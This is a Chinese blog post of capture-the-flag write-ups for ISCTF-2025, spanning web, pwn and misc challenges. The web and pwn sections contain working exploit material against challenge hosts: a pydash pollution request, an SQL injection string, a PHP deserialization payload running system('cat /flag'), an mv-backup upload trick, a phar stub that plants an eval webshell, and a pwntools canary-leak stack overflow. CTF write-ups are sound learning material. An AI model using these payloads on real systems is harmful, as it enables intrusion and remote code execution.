炒米线

GitHub

公告

我 Chao！我好困啊！

标签

炒米线

GitHub

公告

我 Chao！我好困啊！

标签

炒米线

GitHub

公告

我 Chao！我好困啊！

标签

站点统计

文章

36

分类

7

标签

44

总字数

30,673

运行天数

0 天

最后活动

0 天前

1091 字

3 分钟

ISCTF-2025

2025-12-10

CTF

/

ISCTF

[Web] Who am I#

先注册个账号，登陆一下，bp抓包发现居然多了一个参数？？后面审计发现是混淆后的js注入的。其中type=0代表给姥爷账号，type=1代表普通账号

1
POST /login
2
username=Chao&password=123456&type=0

成功登陆管理员账号，获取源码

1
from flask import Flask,request,render_template,redirect,url_for
2
import json
3
import pydash
4

5
app=Flask(__name__)
6

7
database={}
8
data_index=0
9
name=''
10

11
@app.route('/',methods=['GET'])
12
def index():
13
    return render_template('login.html')
14

15
@app.route('/register',methods=['GET'])
16
def register():
17
    return render_template('register.html')
18

19
@app.route('/registerV2',methods=['POST'])
20
def registerV2():
21
    username=request.form['username']
22
    password=request.form['password']
23
    password2=request.form['password2']
24
    if password!=password2:
25
        return '''
26
        <script>
27
        alert('前后密码不一致，请确认后重新输入。');
28
        window.location.href='/register';
29
        </script>
30
        '''
31
    else:
32
        global data_index
33
        data_index+=1
34
        database[data_index]=username
35
        database[username]=password
36
        return redirect(url_for('index'))
37

38
@app.route('/user_dashboard',methods=['GET'])
39
def user_dashboard():
40
    return render_template('dashboard.html')
41

42
@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
43
def A272e1739b89da32e983970ece1a086bd():
44
    return render_template('admin.html')
45

46
@app.route('/operate',methods=['GET'])
47
def operate():
48
    username=request.args.get('username')
49
    password=request.args.get('password')
50
    confirm_password=request.args.get('confirm_password')
51
    if username in globals() and "old" not in password:
52
        Username=globals()[username]
53
        try:
54
            pydash.set_(Username,password,confirm_password)
55
            return "oprate success"
56
        except:
57
            return "oprate failed"
58
    else:
59
        return "oprate failed"
60

61
@app.route('/user/name',methods=['POST'])
62
def name():
63
    return {'username':user}
64

65
def logout():
66
    return redirect(url_for('index'))
67

68
@app.route('/reset',methods=['POST'])
69
def reset():
70
    old_password=request.form['old_password']
71
    new_password=request.form['new_password']
72
    if user in database and database[user] == old_password:
73
        database[user]=new_password
74
        return '''
75
        <script>
76
        alert('密码修改成功，请重新登录。');
77
        window.location.href='/';
78
        </script>
79
        '''
80
    else:
81
        return '''
82
        <script>
83
        alert('密码修改失败，请确认旧密码是否正确。');
84
        window.location.href='/user_dashboard';
85
        </script>
86
        '''
87

88
@app.route('/impression',methods=['GET'])
89
def impression():
90
    point=request.args.get('point')
91
    if len(point) > 5:
92
        return "Invalid request"
93
    List=["{","}",".","%","<",">","_"]
94
    for i in point:
95
        if i in List:
96
            return "Invalid request"
97
    return render_template(point)
98

99
@app.route('/login',methods=['POST'])
100
def login():
101
    username=request.form['username']
102
    password=request.form['password']
103
    type=request.form['type']
104
    if username in database and database[username] != password:
105
        return '''
106
        <script>
107
        alert('用户名或密码错误请重新输入。');
108
        window.location.href='/';
109
        </script>
110
        '''
111
    elif username not in database:
112
        return '''
113
        <script>
114
        alert('用户名或密码错误请重新输入。');
115
        window.location.href='/';
116
        </script>
117
        '''
118
    else:
119
        global name
120
        name=username
121
        if int(type)==1:
122
            return redirect(url_for('user_dashboard'))
123
        elif int(type)==0:
124
            return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))
125

126
if __name__=='__main__':
127
    app.run(host='0.0.0.0',port=8080,debug=False)

发现存在pydash的污染，污染username、password、password2，修改render_template的目录到/下，这里有关键词old过滤

1
http://challenge.bluesharkinfo.com:29403/operate?username=app&password=jinja_loader.searchpath&confirm_password=/

然后尝试

1
http://challenge.bluesharkinfo.com:29403/impression?point=flag

成功获得flag web3

[Web] flag到底在哪#

dirsearch

💡 Hint: Try username admin

注了半天都没成功，突然这个报错了

1
username=admin&password[]=123
2

3
Fatal error: Uncaught TypeError: strpos(): Argument #1 ($haystack) must be of type string, array given in /var/www/html/admin/login.php:14 Stack trace: #0 /var/www/html/admin/login.php(14): strpos(Array, '' OR '1'='1') #1 {main} thrown in /var/www/html/admin/login.php on line 14

这是好事啊，说明存在过滤，不过我这个可以过啊。。。难道是之前到残留？？不懂了

1
username=admin&password=' OR '1'='1' AND username='admin

现在就可以访问/upload.php http://challenge.bluesharkinfo.com:24000/upload.php

上传一句话，找不到flag，读取/start.sh，发现flag在/home/flag，读取就好了

[Web] Bypass#

八进制绕过

1
<?php
2
// 必须与靶机 dump 出来的属性类型完全一致
3
class FLAG
4
{
5
    // 靶机显示 ["a":"FLAG":private]，所以这里必须是 private
6
    private $a;
7

8
    // 靶机显示 ["b":protected]，所以这里必须是 protected
9
    protected $b;
10

11
    public function __construct($a, $b)
12
    {
13
        $this->a = $a;
14
        $this->b = $b;
15
    }
16
}
17

18
// 1. 设置 $a (create_function)
19
$func_name = 'create_function';
20

21
// 2. 设置 $b (利用8进制绕过WAF执行命令)
22
// 目标命令：这里写你想执行的命令
23
$cmd = 'cat /flag';
24

25
// 8进制编码函数
26
function ascii2octal($str) {
27
    $out = '';
28
    for ($i = 0; $i < strlen($str); $i++) {
29
        $out .= '\\' . decoct(ord($str[$i]));
30
    }
31
    return $out;
32
}
33

34
// 构造闭合 Payload
35
// 逻辑: } $x="system"; $x("cat /flag"); /*
36
$payload_content = '} $x="' . ascii2octal('system') . '"; $x("' . ascii2octal($cmd) . '"); /*';
37

38
// 3. 实例化并序列化
39
$obj = new FLAG($func_name, $payload_content);
40
$serialized = serialize($obj);
41

42
// 4. 重要：直接输出 URL 编码后的字符串
43
// 只有这样才能保留 private/protected 属性中的 %00
44
echo "请复制下面的字符串作为 exp 参数的值：\n\n";
45
echo urlencode($serialized);
46
?>

本地调试的时候吧private改成public了，结果靶机怎么都exp不了，，，这样就好了，另外urlencode一下可以防止出问题。

1
http://challenge.bluesharkinfo.com:20810/?exp=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A77%3A%22%7D+%24x%3D%22%5C163%5C171%5C163%5C164%5C145%5C155%22%3B+%24x%28%22%5C143%5C141%5C164%5C40%5C57%5C146%5C154%5C141%5C147%22%29%3B+%2F%2A%22%3B%7D

[Web] mv_upload#

dirsearch扫出源码，审计发现mv命令拼接，且存在通配符展开，可以用文件名作为命令执行

但分号无法绕过，考虑mv的特性（结合题名）

这题考查mv的—backup特性，当目的地存在同名文件时会触发备份，自动添加—suffix设置的后缀。

存在大量过滤，但仔细审计发现都包含了.，因此考虑把php作为后缀，加到shell.上去

具体过程：

1
先传一个shell.
2

3
mv一下
4

5
再上传
6
--backup=simple
7
--suffix=php
8
shell.
9

10
再mv一下，触发覆盖，生成shell.php

完成GetShell

本地复现

[Pwn] ez_fmt#

1
from pwn import *
2

3
# ================= 配置区域 =================
4
context(os='linux', arch='amd64', log_level='debug')
5
binary_path = './ez_fmt'
6
elf = ELF(binary_path)
7

8
# 启动进程
9
# io = process(binary_path)
10

11
host = 'challenge.bluesharkinfo.com'
12
port = 20609
13
io = remote(host, port)
14
# ===========================================
15

16
# 1. 泄露 Canary 和 返回地址 (计算 PIE)
17
print("[-] Step 1: Leaking Canary and PIE Base...")
18
io.recvuntil(b"1st input: ")
19

20
# 发送 payload：同时泄露 Canary (%23$p) 和 返回地址 (%25$p)
21
io.sendline(b'%23$p.%25$p')
22

23
# 接收并解析
24
data = io.recvline().strip().split(b'.')
25
if len(data) < 2:
26
    print("[!] Error: Leak data incomplete. Check offset.")
27
    exit()
28

29
canary = int(data[0], 16)
30
leak_ret_addr = int(data[1], 16)
31

32
print(f"[+] Leaked Canary: {hex(canary)}")
33
print(f"[+] Leaked Ret Addr: {hex(leak_ret_addr)}")
34

35
# objdump -d ./ez_fmt | grep -A 2 "call.*vuln"
36
RET_OFFSET = 0x135b  # 根据 objdump 结果确认
37
elf.address = leak_ret_addr - RET_OFFSET
38
print(f"[+] PIE Base Address: {hex(elf.address)}")
39
print(f"[+] Real Win Address: {hex(elf.symbols['win'])}")
40

41
# ===========================================
42

43
# 2. 栈溢出攻击 (Bypass Canary & PIE)
44
print("[-] Step 2: Sending Buffer Overflow Payload...")
45
io.recvuntil(b"2nd input: ")
46

47
# 获取 ROP gadget (用于栈对齐)
48
rop = ROP(elf)
49
try:
50
    ret_gadget = rop.find_gadget(['ret'])[0]
51
    print(f"[*] Ret Gadget: {hex(ret_gadget)}")
52
except:
53
    # 如果找不到 ret gadget，尝试直接跳 win (可能不需要对齐)
54
    ret_gadget = 0
55
    print("[!] Warning: Ret gadget not found.")
56

57
padding_size = 136  # buffer 大小
58

59
# 构造 Payload
60
payload = flat([
61
    b'A' * padding_size,      # 填满 Buffer
62
    canary,                   # 填回 Canary
63
    b'B' * 8,                 # 覆盖 RBP
64
    ret_gadget,               # ret gadget (栈对齐，防崩)
65
    elf.symbols['win']        # 跳转到 win
66
])
67

68
# 发送
69
io.sendline(payload)
70

71
# 3. 拿 Shell
72
print("[*] Switching to interactive mode...")
73
io.interactive()

[Misc] 美丽的风景照#

神人题，第三天才放hint

1
查看提示: HINT1
2
按照彩虹颜色排序试试看
3

4
查看提示: HINT2
5
这照片里的古建筑上怎么写个明光大正”“那是正大光明，古风都是倒着来的

分帧，古风要反过来，整体按彩虹顺序，base58

1
2WqjC2gD7HLo86yRWhKEaC3ZXw8T98Mz
2

3
ISCTF{H0w_834u71fu1!!!}

点了个踩

[Misc] 小蓝鲨的神秘文件#

ChsPinyinUDL.dat是微软输入法都词库学习文件，用UTF-16 LE打开就能看到内容了，有效内容如下：

1
帮我优化这段代码
2
不要乱动我的代码
3
不要动我原来的代码
4
出题人说弗莱格在官网
5
出题人说弗莱格在那里
6
官网的新闻里
7
在那里
8
还有一些项目合作的机会
9
福州蓝鲨信息技术有限公司
10
机会是留给有准备的人
11
看看官网的新闻吧
12
你把简历投了再说
13
你去看看新闻动态呢
14
你去找辅导员问问
15
去蓝鲨官网看看呗
16
你这个脚本跑不了啊
17
他们招实习的
18
这次比赛你参加了吗
19
真的可以去试试
20
在我原来的基础上修改

感觉像一边聊天一边vibe coding

在这里https://www.bluesharkinfo.com/news/article/2025-11-25-news20文章最后找到flag

1
ISCTF{我要和小蓝鲨组一辈子CTF战队}

[Misc] Abnormal log#

1
import re
2

3
# 将题目提供的日志内容保存为 log.txt
4
log_file = "access.log"
5

6
def extract_flag():
7
    with open(log_file, "r") as f:
8
        content = f.read()
9

10
    # 1. 正则匹配所有的 File data segment
11
    # 注意：虽然时间戳乱序，但日志文本中 Segment 是按 1-116 顺序出现的
12
    # 如果文本行顺序也是乱的，需要根据 "segment X..." 进行排序，但此题文本流看起来是顺序的
13
    pattern = re.compile(r"\[INFO\] File data segment: ([0-9a-f]+)")
14
    hex_segments = pattern.findall(content)
15

16
    # 2. 拼接所有十六进制字符串
17
    full_hex = "".join(hex_segments)
18

19
    # 3. 转换为字节流
20
    data_bytes = bytes.fromhex(full_hex)
21

22
    # 4. XOR 0x05 解密
23
    decrypted_bytes = bytearray()
24
    for b in data_bytes:
25
        decrypted_bytes.append(b ^ 0x05)
26

27
    # 5. 保存文件
28
    # 根据文件头 37 7A BC AF，这是一个 7z 文件
29
    output_filename = "result.7z"
30
    with open(output_filename, "wb") as f:
31
        f.write(decrypted_bytes)
32

33
    print(f"[-] 文件已提取为 {output_filename}")
34
    print("[-] 请解压该文件，里面包含一个 flag.png，打开图片即可看到 Flag。")
35

36
if __name__ == "__main__":
37
    extract_flag()

ISCTF{sabfndhjkashgfyiasdgfyusdguyfbknncxzbnj}

[Misc] 小蓝鲨的千层FLAG#

1
7z l -slt flagggg999.zip

发现Comment写了密码，试了一下可以，丢给ai搓剥洋葱脚本。

Comment = The password is 0eb9d3986e56473c

1
import zipfile
2
import subprocess
3
import re
4
import os
5

6
def solve_matryoshka():
7
    # 初始文件名
8
    current_zip = "flagggg999.zip"
9

10
    while True:
11
        if not os.path.exists(current_zip):
12
            print(f"[-] 文件 {current_zip} 不存在，停止。")
13
            break
14

15
        try:
16
            # 1. 使用 zipfile 读取注释 (zipfile 可以读取 AES 包的元数据)
17
            with zipfile.ZipFile(current_zip, 'r') as zf:
18
                # 注释是 bytes 类型，需要解码
19
                comment = zf.comment.decode('utf-8', errors='ignore').strip()
20

21
                # 获取包内的文件名 (假设只有一个文件)
22
                file_list = zf.namelist()
23
                if not file_list:
24
                    print("[-] 压缩包为空")
25
                    break
26
                next_file = file_list[0]
27

28
            # 2. 从注释中提取密码
29
            # 注释格式: "The password is 0eb9d3986e56473c"
30
            print(f"[*] 正在处理: {current_zip} | 注释: {comment}")
31

32
            # 使用正则提取密码 (匹配 "password is " 后面的内容)
33
            match = re.search(r"password is\s+([^\s]+)", comment)
34
            if match:
35
                password = match.group(1)
36
            else:
37
                # 如果没有找到标准格式，尝试直接用注释最后一部分
38
                print("[!] 未匹配到标准格式，尝试使用最后一段作为密码")
39
                password = comment.split()[-1]
40

41
            # 3. 调用系统 7z 命令进行解压 (因为 Python zipfile 不支持 AES)
42
            # 格式: 7z x -pPASSWORD -y ARCHIVE
43
            cmd = ["7z", "x", f"-p{password}", "-y", current_zip]
44

45
            # 运行解压命令，屏蔽输出以免刷屏
46
            result = subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)
47

48
            if result.returncode != 0:
49
                print(f"[-] 解压失败: {current_zip}")
50
                print(f"[-] 错误信息: {result.stderr.decode()}")
51
                break
52

53
            # 4. 清理旧文件并指向新文件
54
            os.remove(current_zip) # 删除上一层，节省空间
55
            current_zip = next_file
56

57
            # 如果解压出来的不是 zip 了（比如是 flag.txt），就停下来
58
            if not current_zip.endswith('.zip'):
59
                print(f"\n[SUCCESS] 最终文件已解出: {current_zip}")
60
                print("内容如下:")
61
                try:
62
                    with open(current_zip, 'r', encoding='utf-8') as f:
63
                        print(f.read())
64
                except:
65
                    print("(文件可能是二进制格式，请手动查看)")
66
                break
67

68
        except zipfile.BadZipFile:
69
            print(f"[-] {current_zip} 不是有效的 ZIP 文件")
70
            break
71
        except Exception as e:
72
            print(f"[-] 发生未知错误: {e}")
73
            break
74

75
if __name__ == "__main__":
76
    solve_matryoshka()

千层zip

获得flagggg3.zip，此时注释不再有密码，且加密方式变成了ZipCrypto，压缩方式Store，意味着压缩包内的文件名会以明文形式出现，补足足够的长度。

1
bkcrack -C flagggg3.zip -c flagggg2.zip -x 0 504B0304 -x 30 666C6167676767312E7A6970

注：

1
偏移 0: ZIP 头签名 50 4B 03 04
2
偏移 30: 内部包含的文件名 flagggg1.zip (文件名通常从第 30 字节开始)

bkcrack

获得key后解压出flagggg2.zip

1
bkcrack -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d flagggg2.zip

之后这个flagggg2.zip没有加密，flagggg1.zip也是（感动），一路解压出flagggg.txt

1
You deserve it !
2
ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}

[Misc] 星髓宝盒#

给了张png，zsteg看到末尾追加了一个zip

1
binwalk -e 星髓宝盒.png

提取获得

1
你是优秀学生吗.txt
2
真-星髓宝盒.zip
3
星髓宝盒.jpg

先看一下这个压缩包，真加密，确认flag就在里面

1
(base) ➜  E064B bkcrack -L 真-星髓宝盒.zip
2
bkcrack 1.8.1 - 2025-10-25
3
Archive: 真-星髓宝盒.zip
4
Index Encryption Compression CRC32    Uncompressed  Packed size Name
5
----- ---------- ----------- -------- ------------ ------------ ----------------
6
    0 Other      Deflate     bd48ae80           39           69 真-星髓宝盒/flag.txt

再看一眼这个jpg，使用exiftool

exiftool

发现XP Comment: https://www.somd5.com/，访问一看是个md5解密网站，考虑可能会给一段md5，解密后即为压缩包密码。

然后来看这个你是优秀学生吗.txt，好长的文本，但乍眼一看没有有效信息，用vim看一下。

发现有不可见零宽字符，使用网页工具解密。这里需要使用https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html这个

零宽字符1

解出的密文没有有效信息，猜测仍然存在隐写，用vim看一下。

第二次vim看一下

确认存在零宽字符隐写，但零宽字符与之前的不一样，之前的工具无法使用。使用随波逐流自带的字密3-JS:零宽字符加解密1,获得md5。（原版的该工具无法成功解密）

零宽字符2

5b298e6836902096e9316756d3b58ec4，使用之前的网站解密一下，成功获得压缩包密码

md5解密

解压得到flag: ISCTF{1e7553787953e74113be4edfe8ca0e59}

[Misc] 木林森#

解压获得木林森.txt，厨子解base64，获得png。

二维码

扫码获得数字20000824

binwalk分离出一张jpg。

价值观

1
文明友善爱国文明诚信自由文明诚信自由文明友善爱国自由友善法治公正民主公正友善法治公正文明公正民主文明诚信自由文明友善爱国文明诚信自由文明诚信自由

随波逐流解出来

1
....Mamba....

关注png之后还多了一段hex

1
31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036

长度看起来像流加密，考虑RC4

1
"聪明的你，截获了来自木林森这个间谍组织发送的加密通信内容，请特别注意他们的神秘标记！！！！
2

3
其中还有被破坏没有拦截成功的密文，你凭借记忆依稀只记得：""Ron's Code For...?""，请解开通信内容，获取flag"
4

5
....Mamba....
6
20000824

猜测密码为2000Mamba0824

木林森

1
ISCTF{590CF439-E304-4E27-BE45-49CC7B02B3F3}

[Web] include_upload#

打phar，配合自动解压的特性。另外phar包含只需要路径里有.phar就行了，不需要在最后，甚至是文件夹名都可以，也不管后缀是什么。

参考这个，非常详细

exp如下

1
<?php
2
$phar = new Phar('exploit.phar');
3
$phar->startBuffering();
4
$code = <<<'EOD'
5
<?php
6

7
    $shell_file = "shell.php";
8
    $shell_content = "<?php @eval(\$_POST['cmd']); ?>";
9
    if (file_put_contents($shell_file, $shell_content)) {
10
        echo "ojbk";
11
    } else {
12
        die("NOOOO!!!");
13
    }
14

15
    echo "Phar stub executed\n";
16
    eval($_POST['cmd']);
17
    __HALT_COMPILER();
18
?>
19
EOD;
20
$phar->setStub($code);
21
$phar->addFromString('index.php', $code);
22

23
$phar->compress(Phar::GZ);
24

25
$phar->stopBuffering();
26

27
?>

生成exploit.phar.gz，改名成exploit.phar.gz.png，实际上只要包含.phar且后缀为.png就可以了，然后去/include.php包含，会自动写马。

附上dump出来的原题：

upload.php

1
<?php
2
error_reporting(0);
3
header("Content-type:text/html;charset=utf-8");
4
 //白名单
5
 $ext_arr = array('png');
6
 $file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
7
 //判断filename是否为空
8
 $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
9
 //判断filename的后缀是不是在黑名单
10
 $name = basename($_POST['filename']);
11
 $filename_ext= pathinfo($name,PATHINFO_EXTENSION);
12
 $filename=$_FILES['file']['name'];
13
 $content = file_get_contents($_FILES['file']['tmp_name']);
14

15
if(in_array($file_ext,$ext_arr)){
16
    //检测文件后缀
17
    echo "后缀没错"."\n";
18
       //整个文件内容检测
19
       if (stripos($content, '<?') === false && stripos($content, 'php') === false) {
20
                if (file_exists("upload/" . $_FILES["file"]["name"]))
21
                {
22
                        echo $_FILES["file"]["name"] . " 文件已经存在。 ";
23
                }
24
                else
25
                {
26
                        // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
27
                        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
28
                        echo "文件存储在: " . "upload/" . $filename;
29
                }
30
        }
31
        else{
32
            echo "别看了，我这waf你过不掉的，看看这题的特点，看看提示也行"."\n";
33

34
        }
35
    }
36
else{
37
        echo "必须上传.png哦";
38
    }
39

40

41
?>

include.php

1
<?php
2
highlight_file(__FILE__);
3
error_reporting(0);
4
$file = $_GET['file'];
5
if(isset($file) && strtolower(substr($file, -4)) == ".png"){
6
    include'./upload/' . basename($_GET['file']);
7
    exit;
8
}
9
?>
10
我还以为你真信